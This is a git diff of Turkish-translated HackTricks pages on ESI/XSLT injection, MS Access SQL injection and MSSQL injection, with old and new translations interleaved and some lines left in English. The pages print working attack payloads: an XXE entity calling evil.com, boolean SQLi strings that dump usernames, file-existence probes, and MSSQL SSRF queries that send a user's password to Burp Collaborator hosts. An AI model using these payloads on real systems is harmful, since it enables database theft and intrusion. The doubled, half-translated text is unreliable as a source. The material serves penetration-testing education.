_dca_ parametresi için `xslt` değeri belirtilerek, **`eXtensible Stylesheet Language Transformations (XSLT)`** tabanlı ESI dahil edilebilir. Bu dahil etme, HTTP yerine geçenin XML ve XSLT dosyalarını almasına neden olur ve XSLT dosyası XML dosyasını filtreler. Bu tür XML dosyaları, _XML External Entity (XXE)_ saldırıları için kullanılabilir ve saldırganlara SSRF saldırıları gerçekleştirmelerine olanak tanır. Bununla birlikte, bu yaklaşımın kullanışlılığı sınırlıdır çünkü ESI zaten bir SSRF vektörü olarak hizmet vermektedir. Altta yatan Xalan kütüphanesinde destek olmadığından, harici DTD'ler işlenmez ve yerel dosya çıkarımı engellenir.
_dca_ parametresi için `xslt` değerini belirleyerek, **`eXtensible Stylesheet Language Transformations (XSLT)`** tabanlı ESI'yi dahil etmek mümkündür. Dahil etme, HTTP surrogate'ının XML ve XSLT dosyalarını almasına neden olur; bu da birincisini filtreler. Bu tür XML dosyaları, saldırganların SSRF saldırıları gerçekleştirmesine olanak tanıyan _XML External Entity (XXE)_ saldırıları için kullanılabilir. Ancak, bu yaklaşımın faydası sınırlıdır çünkü ESI zaten bir SSRF vektörü olarak hizmet eder. Temel Xalan kütüphanesinde destek olmaması nedeniyle, harici DTD'ler işlenmez ve yerel dosya çıkarımı engellenir.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -278,7 +206,7 @@ XSLT dosyası:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
XSLT sayfasını kontrol edin:
Check the XSLT page:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -291,20 +219,21 @@ XSLT sayfasını kontrol edin:
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force Algılama Listesi
## Brute-Force Tespit Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# MS Access SQL Injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Çevrimiçi Oyun Alanı
@ -22,114 +23,114 @@ HackTricks'ı desteklemenin diğer yolları:
### Dize Birleştirme
Dize birleştirme işlemi `& (%26)` ve `+ (%2b)` karakterleriyle mümkündür.
Dize birleştirme `& (%26)` ve `+ (%2b)` karakterleri ile mümkündür.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Yorumlar
MS Access'te yorumlar bulunmamaktadır, ancak görünüşe göre bir sorgunun sonunu NULL karakteriyle kaldırmak mümkündür:
MS Access'te yorum yoktur, ancak görünüşe göre bir sorgunun sonunu NULL karakteri ile kaldırmak mümkündür:
```sql
1' union select 1,2 from table%00
```
Eğer bu çalışmıyorsa, her zaman sorgunun sözdizimini düzeltebilirsiniz:
Eğer bu çalışmıyorsa, sorgunun sözdizimini her zaman düzeltebilirsiniz:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Yığılmış Sorgular
### Stacked Queries
Desteklenmezler.
Desteklenmiyorlar.
### LIMIT
**`LIMIT`** operatörü **uygulanmamıştır**. Bununla birlikte, `TOP` operatörünü kullanarak SELECT sorgusu sonuçlarını **ilk N tablo satırıyla sınırlamak mümkündür**. `TOP`, döndürülecek satır sayısını temsil eden bir tamsayıyı argüman olarak kabul eder.
**`LIMIT`** operatörü **uygulanmamıştır**. Ancak, SELECT sorgu sonuçlarını **ilk N tablo satırı ile sınırlamak mümkündür, `TOP` operatörünü kullanarak**. `TOP`, döndürülecek satır sayısını temsil eden bir tam sayı argümanı alır.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
TOP gibi **`LAST`** kullanabilirsiniz, bu da **sondaki satırları** alır.
Just like TOP you can use **`LAST`** which will get the **satırları sonundan**.
## UNION Sorguları/Alt sorgular
SQLi'da genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu yürütmek istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini gerektirir**.\
Bu nedenle, bir koşulda `UNION SELECT` veya `UNION ALL SELECT` veya parantez içinde bir `SELECT` yürütmek istiyorsanız, her zaman geçerli bir tablo adıyla bir `FROM` belirtmeniz gerekir.\
Bu nedenle, bir **geçerli tablo adı** bilmelisiniz.
Bir SQLi'de genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini gerektirir**.\
Bu nedenle, bir `UNION SELECT` veya `UNION ALL SELECT` veya bir koşul içinde parantez içindeki bir `SELECT` çalıştırmak istiyorsanız, her zaman **geçerli bir tablo adı ile bir `FROM` belirtmeniz gerekir**.\
Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
```sql
-1' UNION SELECT username,password from users%00
```
### Eşitlik Zincirleme + Alt Dize
### Chaining equals + Substring
{% hint style="warning" %}
Bu, tablonun adını bilmeye gerek duymadan mevcut tablonun değerlerini dışarı çıkarmanıza olanak sağlar.
Bu, tablo adını bilmeden mevcut tablonun değerlerini dışa aktarmanıza olanak tanır.
{% endhint %}
**MS Access**, **`'1'=2='3'='asd'=false`** gibi garip sözdizimine izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesi içinde olacağından, bunu istismar edebiliriz.
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacaktır, bunu kötüye kullanabiliriz.
Bir MS Access veritabanında SQLi olduğunu ve bir **sütun adının kullanıcı adı** olduğunu bildiğinizi (veya tahmin ettiğinizi) varsayalım ve dışarı çıkarmak istediğiniz alan budur. Eşitlik zincirleme tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **`Mid`** işlevini kullanarak alt dizeleri alarak içeriği potansiyel olarak dışarı çıkarabilirsiniz.
Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir **sütun adının username** olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan bu. Chaining equals tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **Mid** fonksiyonunu kullanarak alt dizeleri almak için **boolean injection** ile içerik dışa aktarabilirsiniz.
```sql
'=(Mid(username,1,3)='adm')='
```
Eğer dökülecek tablonun ve sütunun adını biliyorsanız, boolean SQLi aracılığıyla tüm bilgileri sızdırmak için `Mid`, `LAST` ve `TOP` arasında bir kombinasyon kullanabilirsiniz:
Eğer **tablonun adını** ve **dökülecek sütunu** biliyorsanız, `Mid`, `LAST` ve `TOP` kombinasyonunu kullanarak **tüm bilgileri sızdırmak** için boolean SQLi kullanabilirsiniz:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Online oyun alanında bunu kontrol etmekten çekinmeyin._
_Feel free to check this in the online playground._
### Tablo İsimlerini Kaba Kuvvet Yöntemiyle Bulma
### Brute-forcing Tables names
Zincirleme eşitlik tekniğini kullanarak aşağıdaki gibi bir şeyle de **tablo isimlerini kaba kuvvet yöntemiyle bulabilirsiniz**:
Chaining equals tekniğini kullanarak, **tablo adlarını brute-force** yapmak için şunları kullanabilirsiniz:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Ayrıca daha geleneksel bir yöntem de kullanabilirsiniz:
Daha geleneksel bir yol da kullanabilirsiniz:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Online oyun alanında bunu kontrol etmekten çekinmeyin._
_Feel free to check this in the online playground._
* Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Başka bir liste [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde bulunmaktadır.
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste var.
### Sütun Adlarını Kaba Kuvvet Yöntemiyle Bulma
### Sütun adlarını Brute-Force ile Bulma
Mevcut sütun adlarını **eşitlik zinciri hilesiyle kaba kuvvet yöntemiyle bulabilirsiniz**.
Mevcut sütun adlarını **brute-force ile bulmak** için eşit zincirleme hilesini kullanabilirsiniz:
```sql
'=column_name='
```
Veya bir **group by** ile:
Ya da **group by** ile:
```sql
-1' GROUP BY column_name%00
```
Veya farklı bir tablonun sütun isimlerini brute-force yöntemiyle deneyebilirsiniz:
Ya da **farklı bir tablonun** sütun adlarını brute-force ile bulabilirsiniz:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Veri dökümü
### Dumping data
Zaten [**eşitlik zinciri tekniğini**](ms-access-sql-injection.md#chaining-equals-+-substring) **mevcut ve diğer tablolardan veri dökümlemek için** tartıştık. Ancak başka yollar da vardır:
Zaten [**eşit zincirleme tekniği**](ms-access-sql-injection.md#chaining-equals-+-substring) **ile mevcut ve diğer tablolardan veri dökme** konusunu tartıştık. Ancak başka yollar da var:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Kısacası, sorgu başarılı olduğunda "200 OK" tetiklemek için bir "if-then" ifadesi kullanır veya aksi halde "500 Internal Error" tetikler. TOP 10 operatöründen faydalanarak ilk on sonucu seçmek mümkündür. LAST'in ardından kullanılan, sadece 10. tuple'ı dikkate almayı sağlar. Bu değeri kullanarak MID operatörü kullanarak basit bir karakter karşılaştırması yapılabilir. MID ve TOP'un dizinini uygun şekilde değiştirerek, tüm satırlar için "username" alanının içeriğini alabiliriz.
Kısacası, sorgu bir “if-then” ifadesi kullanarak başarı durumunda “200 OK” veya aksi takdirde “500 Internal Error” tetikler. TOP 10 operatöründen faydalanarak, ilk on sonucu seçmek mümkündür. Ardından LAST kullanımı, yalnızca 10. tuple'ı dikkate almayı sağlar. Bu değerde, MID operatörünü kullanarak basit bir karakter karşılaştırması yapmak mümkündür. MID ve TOP'un indeksini uygun şekilde değiştirerek, tüm satırlar için “username” alanının içeriğini dökebiliriz.
### Zaman Temelli
### Zaman Tabanlı
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) adresinde kontrol edin.
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) adresini kontrol edin.
### Diğer İlginç fonksiyonlar
### Diğer İlginç Fonksiyonlar
* `Mid('admin',1,1)` 1. pozisyondan 1 uzunluğunda alt dize alır (başlangıç pozisyonu 1'dir)
* `LEN('1234')` dizenin uzunluğunu alır
* `Mid('admin',1,1)` konum 1'den uzunluğu 1 olan alt dize alır (başlangıç konumu 1'dir)
* `LEN('1234')` dize uzunluğunu alır
* `ASC('A')` karakterin ascii değerini alır
* `CHR(65)` ascii değerinden dize alır
* `IIF(1=1,'a','b')` eğer sonra
* `COUNT(*)` Öğe sayısını sayar
* `IIF(1=1,'a','b')` eğer o zaman
* `COUNT(*)` öğe sayısını sayar
## Tabloları Numaralandırma
## Tabloları Sayma
[**Buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo isimlerini almak için bir sorgu görebilirsiniz:
[**buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo isimlerini almak için bir sorgu görebilirsiniz:
```sql
select MSysObjects.name
from MSysObjects
@ -139,54 +140,55 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Ancak, SQL Enjeksiyonlarına **`MSysObjects` tablosunu okuma erişiminizin olmadığı** durumlar çok yaygındır.
Ancak, **`MSysObjects`** tablosunu okumak için erişiminiz olmadığında SQL Enjeksiyonları bulmanın çok tipik olduğunu unutmayın.
## Dosya Sistemi Erişimi
### Web Kök Dizin Tam Yolu
**Web kök dizininin mutlak yolunu bilmek**, daha fazla saldırıyı kolaylaştırabilir. Uygulama hataları tamamen gizlenmediyse, dizin yolunu ortaya çıkarmak için mevcut olmayan bir veritabanından veri seçmeye çalışarak bulunabilir.
**Web kök mutlak yolunun bilgisi, daha fazla saldırıyı kolaylaştırabilir**. Uygulama hataları tamamen gizlenmemişse, dizin yolu, var olmayan bir veritabanından veri seçmeye çalışarak ortaya çıkarılabilir.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access, **web dizini tam yolunu içeren bir hata mesajıyla yanıt verir**.
MS Access, **web dizininin tam yolunu içeren bir hata mesajı** ile yanıt verir.
### Dosya Numaralandırma
### Dosya Sayımı
Aşağıdaki saldırı vektörü, **uzak dosya sisteminde bir dosyanın varlığını çıkarabilir**. Belirtilen dosya varsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:
Aşağıdaki saldırı vektörü, **uzaktaki dosya sisteminde bir dosyanın varlığını çıkarım yapmak için** kullanılabilir. Belirtilen dosya mevcutsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Dosyaların numaralandırılması için başka bir yol, **bir veritabanı.tablo öğesi belirtmektir**. **Belirtilen dosya varsa**, MS Access, **bir veritabanı formatı hatası mesajı** görüntüler.
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesini belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb Dosya Adı Tahmini
**Veritabanı dosya adı (.mdb)** aşağıdaki sorgu ile tahmin edilebilir:
**Veritabanı dosya adı (.mdb)** aşağıdaki sorgu ile çıkarılabilir:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Burada **name\[i] bir .mdb dosya adıdır** ve **realTable veritabanında mevcut bir tablodur**. MS Access her zaman bir hata mesajı tetikleyeceği için, geçersiz bir dosya adı ile geçerli bir .mdb dosya adı arasında ayrım yapmak mümkündür.
Burada **name\[i] bir .mdb dosya adıdır** ve **realTable, veritabanı içinde mevcut bir tablodur**. MS Access her zaman bir hata mesajı tetikleyecek olsa da, geçersiz bir dosya adı ile geçerli bir .mdb dosya adını ayırt etmek mümkündür.
### .mdb Şifre Kırıcı
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html), Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0'in ana veritabanı şifresini kurtarmak için kullanılan ücretsiz bir araçtır.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html), Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0 ana veritabanı şifresini kurtarmak için kullanılabilecek ücretsiz bir araçtır.
## Referanslar
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# MSSQL Enjeksiyonu
# MSSQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Active Directory numaralandırma
## Active Directory enumeration
Bir MSSQL sunucusu içinde SQL enjeksiyonu kullanarak **etki alanı kullanıcılarını numaralandırmak mümkün olabilir**. Bunun için aşağıdaki MSSQL fonksiyonlarını kullanabilirsiniz:
**MSSQL** sunucusu içinde SQL injection aracılığıyla **alan kullanıcılarını listelemek** mümkün olabilir, aşağıdaki MSSQL fonksiyonlarını kullanarak:
* **`SELECT DEFAULT_DOMAIN()`**: Geçerli etki alanı adını alır.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Eğer etki alanının adını biliyorsanız (_bu örnekte DOMAIN_), bu fonksiyon **hex formatında kullanıcının Administrator SID'sini** döndürecektir. Bu, `0x01050000000[...]0000f401` gibi görünecektir, **son 4 byte'ın** büyük uçlu formatında **500** sayısı olduğuna dikkat edin, bu da **yönetici kullanıcısının genel ID'si** olan.\
Bu fonksiyon, **etki alanının ID'sini** (son 4 byte hariç tüm byte'lar) bilmenizi sağlar.
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Bu fonksiyon, belirtilen ID'nin **kullanıcı adını** (varsa) döndürecektir, bu durumda büyük uçlu == **1000** olan **0000e803** (genellikle bu, oluşturulan ilk düzenli kullanıcı ID'sidir). Ardından, 1000 ila 2000 arasındaki kullanıcı ID'lerini brute-force yaparak muhtemelen etki alanının tüm kullanıcılarının kullanıcı adlarını elde edebilirsiniz. Örneğin aşağıdaki gibi bir fonksiyon kullanarak:
* **`SELECT DEFAULT_DOMAIN()`**: Mevcut alan adını alır.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Alan adının adını biliyorsanız (_DOMAIN_ bu örnekte) bu fonksiyon **Administrator kullanıcısının SID'sini** hex formatında döndürecektir. Bu, `0x01050000000[...]0000f401` gibi görünecektir, **son 4 byte'ın** **500** sayısı olduğunu not edin, bu da **administrator kullanıcısının ortak ID'sidir**.\
Bu fonksiyon, **alanın ID'sini bilmenizi** sağlayacaktır (son 4 byte hariç tüm byte'lar).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Bu fonksiyon, belirtilen **ID'nin kullanıcı adını** döndürecektir (varsa), bu durumda **0000e803** big endian == **1000** (genellikle bu, oluşturulan ilk normal kullanıcı ID'sidir). O zaman 1000'den 2000'e kadar kullanıcı ID'lerini brute-force yapabileceğinizi ve muhtemelen alan kullanıcılarının tüm kullanıcı adlarını alabileceğinizi hayal edebilirsiniz. Örneğin, aşağıdaki gibi bir fonksiyon kullanarak:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
@ -29,11 +30,11 @@ user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **Alternatif Hata Tabanlı vektörler**
## **Alternatif Hata Tabanlı Vektörler**
Hata tabanlı SQL enjeksiyonları genellikle `+AND+1=@@version--` gibi yapılarla benzerlik gösterir ve «OR» operatörüne dayanan varyantlar içerir. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir bypass olarak, aranan veride bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonucunu %2b karakterini kullanarak bir dize ile birleştirin.
Hata tabanlı SQL enjeksiyonları genellikle `+AND+1=@@version--` gibi yapıları ve «OR» operatörüne dayanan varyantları andırır. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir geçiş olarak, aranan verilerde bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonuçlarıyla %2b karakterini kullanarak bir dize birleştirin.
Bu tür fonksiyonlara örnekler:
Bu tür fonksiyonlardan bazı örnekler:
* `SUSER_NAME()`
* `USER_NAME()`
@ -43,7 +44,7 @@ Bu tür fonksiyonlara örnekler:
* `TYPE_NAME()`
* `COL_NAME()`
Fonksiyon `USER_NAME()`'in örnek kullanımı:
Fonksiyon `USER_NAME()` kullanımına örnek:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
@ -51,7 +52,7 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)--
## SSRF
Bu SSRF hileleri [buradan alınmıştır](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
Bu SSRF numaraları [buradan alındı](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
@ -69,7 +70,7 @@ EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
Bu, **`CONTROL SERVER`** iznine ihtiyaç duyar.
**`CONTROL SERVER`** izni gerektirir.
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
@ -83,7 +84,7 @@ EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
Bu, **`CONTROL SERVER`** iznine ihtiyaç duyar.
**`CONTROL SERVER`** izni gerektirir.
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
